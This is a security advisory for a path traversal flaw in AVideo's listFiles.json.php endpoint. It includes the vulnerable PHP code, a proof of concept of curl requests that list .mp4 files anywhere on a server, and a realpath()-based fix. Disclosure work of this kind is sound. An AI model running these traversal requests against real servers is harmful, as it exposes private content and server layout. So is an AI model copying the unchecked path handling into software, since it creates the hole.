GHSA-4wmm-6qxj-fpj4 CVE-2026-33238
AVideo has a Path Traversal in listFiles.json.php Enables Server Filesystem Enumeration
- Severity
- 4.3 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.43%
- Chance of exploitation in the next 30 days. Higher than 37.69% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- Fix
26.0- Upgrade wwbn/avideo to this version or later
Description
Summary
The listFiles.json.php endpoint accepts a path POST parameter and passes it directly to glob() without restricting the path to an allowed base directory. An authenticated uploader can traverse the entire server filesystem by supplying arbitrary absolute paths, enumerating .mp4 filenames and their full absolute filesystem paths wherever they exist on the server — including locations outside the web root, such as private or premium media directories.
Details
The vulnerable code is at objects/listFiles.json.php:8-45:
if (!User::canUpload() || !empty($advancedCustom->doNotShowImportMP4Button)) {
return false;
}
$global['allowed'] = ['mp4'];
// ...
if (!empty($_POST['path'])) {
$path = $_POST['path'];
if (substr($path, -1) !== '/') {
$path .= "/";
}
if (file_exists($path)) {
$extn = implode(",*.", $global['allowed']);
$filesStr = "{*." . $extn . ",*." . strtolower($extn) . ",*." . strtoupper($extn) . "}";
$video_array = glob($path . $filesStr, GLOB_BRACE);
foreach ($video_array as $key => $value) {
$filePath = mb_convert_encoding($value, 'UTF-8');
// ...
$obj->path = $filePath; // Full absolute path returned to caller
The $_POST['path'] value is used directly in glob() with no call to realpath() for normalization and no prefix check against a permitted base directory (e.g., $global['systemRootPath'] . 'videos/'). The response includes obj->path containing the full absolute filesystem path of each matched file.
The extension filter ({*.mp4,*.mp4,*.MP4}) limits results to .mp4 files, which prevents reading credentials or source code but does not prevent enumeration of video files stored in access-controlled locations such as:
- Premium/paid content directories
- Private or unlisted media stores
- Backup directories containing
.mp4files - Paths revealing sensitive server directory structure
canUpload is a standard low-privilege role granted to any registered uploader; it does not imply administrative trust.
PoC
# Step 1: Authenticate as any user with canUpload permission
# (standard uploader account)
# Step 2: Enumerate MP4 files in the web root (expected behavior)
curl -b "PHPSESSID=<session>" -X POST https://target.avideo.site/listFiles \
-d "path=/var/www/html/videos/"
# Returns: [{"id":0,"path":"/var/www/html/videos/video1.mp4","name":"video1.mp4"}, ...]
# Step 3: Traverse outside intended directory to private content store
curl -b "PHPSESSID=<session>" -X POST https://target.avideo.site/listFiles \
-d "path=/var/private/premium-content/"
# Returns: [{"id":0,"path":"/var/private/premium-content/paywalled-video.mp4","name":"paywalled-video.mp4"}, ...]
# Step 4: Enumerate root filesystem for any MP4 files
curl -b "PHPSESSID=<session>" -X POST https://target.avideo.site/listFiles \
-d "path=/"
# Returns all .mp4 files visible to the web server process anywhere on disk
Expected behavior: Only files within the designated upload directory should be listable. Actual behavior: Files from any path readable by the web server process are returned with full absolute paths.
Impact
- Unauthorized media enumeration: An uploader can discover private, premium, or access-controlled
.mp4files stored outside their permitted directory. - Filesystem structure disclosure: Full absolute paths reveal server directory layout, aiding further attacks.
- Content bypass: In AVideo deployments where premium video files are stored in filesystem directories not protected by application access control, this exposes the filenames and paths needed to directly access them if other path traversal or direct-file-access weaknesses are present.
- Blast radius: Requires
canUploadpermission (low privilege), but this is the standard permission for all video uploaders on a multi-user AVideo instance.
Recommended Fix
Restrict the supplied path to an allowed base directory using realpath():
if (!empty($_POST['path'])) {
$allowedBase = realpath($global['systemRootPath'] . 'videos') . '/';
$path = realpath($_POST['path']);
// Reject paths that don't start with the allowed base
if ($path === false || strpos($path . '/', $allowedBase) !== 0) {
http_response_code(403);
echo json_encode(['error' => 'Path not allowed']);
exit;
}
$path .= '/';
// ... continue with glob
}
realpath() resolves ../ sequences before the prefix check, preventing traversal bypasses.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| wwbn/avideo | < 26.0 |
26.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
wwbn/avideo Packagist → 26.0
- composer
composer require wwbn/avideo:^26.0
Severity breakdown
CVSS 3.1 4.3
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7cqp-7cfv-6c3q AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel | Medium | Also affects wwbn/avideo |
| GHSA-wc3f-xc32-435f AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink | High | Also affects wwbn/avideo |
| GHSA-95jh-7r58-xmxw AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data | Medium | Also affects wwbn/avideo |
| GHSA-wf69-r4mx-43rr AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration | High | Also affects wwbn/avideo |
| GHSA-8j8m-p79x-g4jm AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions | Medium | Also affects wwbn/avideo |
| GHSA-8whc-2wmv-ww35 WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin | Critical | Also affects WWBN/AVideo |
| GHSA-66q5-cj5g-wrfx WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section | Medium | Also affects WWBN/AVideo |
| GHSA-hgjh-6wj8-gcgf WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination | Medium | Also affects WWBN/AVideo |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor